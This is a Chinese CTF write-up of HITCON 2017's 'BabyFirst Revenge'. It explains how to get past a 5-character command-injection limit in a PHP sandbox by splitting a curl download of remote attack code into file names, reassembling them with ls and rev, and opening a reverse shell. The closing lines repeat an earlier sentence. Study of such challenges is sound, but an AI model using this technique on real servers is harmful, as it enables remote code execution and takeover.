命令注入突破长度限制
碰见了不少像这样的题
原型来自 HITCON CTF 2017 的 BabyFirst Revenge
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
这道题目题意:根据访问者的IP为其在sandbox里新建一个文件夹并作为其工作目录,接受并执行访问者提交的命令。命令限制长度5(无回显),访问者可以通过提交reset来重置内容。
在网上看了一些wp及突破长度限制的方法,实际操作下。
大致思路:我们想到把命令写到文件里执行下载远程服务器上的webshell然后执行
怎么突破限制,把一条下载命令分解成小于等于5字符的片段设成文件名
(也就是创好多文件,文件名就是要执行命令的片段),
最后读取所有的文件名到一个文件里执行。
5个字符内创文件还是很轻松的,演示如下
创建一个名字为A的文件2个字符搞定
尝试把当前目录所有文件名定向输入一个文件内:
试了下单个> 效果竟然一样,又省了一个字符
这里其实是将ls命令的结果重定向到A文件中,其它命令的结果也可以这样用
接下来要考虑文档内片段命令的可执行性,看下图
我们一个个字母写echo 1,中间用\分割,运行完全ojbk
几个大问题解决了
再补充补充一些知识点
下载文件 (涂抹处为我们的远程服务器地址)
curl 是直接回显的,wget则是下载到一个文件里
开始测试
将curl ip >A(ip公网服务器,这里我用了10进制)分割输入到A中
补:IP地址本质上就是一个整数,只是通常用点分十进制表示, 如果需要,我们可以用十六进制、长整数、八进制表示IP,大部分情况下效果是相同的。
又出现一个问题,ls执行的结果输出的顺序有点问题(思考:我们怎么使ls的结果按我们想要的排布?)
这里我用了ls参数 -t 按时间顺序(新的在前) -r (反序)
对是对了,但长度超了
执行一下,成功反弹到shell
就上面5字符我们再来看下,有一处超出了5字符
ls -tr>A
如果我们逆序写,那么ls -t>A 6个字符还不行 可不可以通过其他方法呢
搜了搜ls默认排序 是按字母表排序的(具体是什么可以百度看看)
难点就是根据默认排序构造文件名(命令片段过多,未实现),使ls>A生成的命令可以执行这就满足了5字符
看了https://www.freebuf.com/articles/web/154453.html这篇文章,学习了另一种思路,遇到了问题都迎刃而解了。
我们在构造curl语句前(语句顺序难以以5个字符内命令排布好,这是我们的问题),先构造出我们的排序语句ls-ht>g(-h只是为了满足我们对这几个残缺命令的顺序要求)
看下面一波操作:
dir:查看当前目录内容与ls相似,但还是有区别的
一目了然
rev(文件):反序显示文件的内容
*:通配符,这里的作用是匹配命令(可执行,无任何参数应该是按字母表顺序匹配)
回到刚才的问题,v文件可以替换成别的名字么?
它的作用*v>x = rev v>x , *v可以匹配到rev v,这样看v换成r是不是也行,试试
…尴尬,原来是从后往前匹配的
那么我们的疑惑全都解决了,排序语句搞定后加一个;与后面curl语句分开
整个过程(>sl,>ht-,>g>顺序任意)
把所有文件名做了个排序输入到了g文件中
我们服务器上的攻击代码已经写入到了A文件,执行即可
回看整个流程我们的命令没有超过4个字符的(shell环境需要输入\产生\,但是php代码exec时,只需要输入\即可产生,所以做到这题目时不会超过4字符)
嗯 算是超额完成任务了
hell环境需要输入\产生\,但是php代码exec时,只需要输入\即可产生,所以做到这题目时不会超过4字符)
嗯 算是超额完成任务了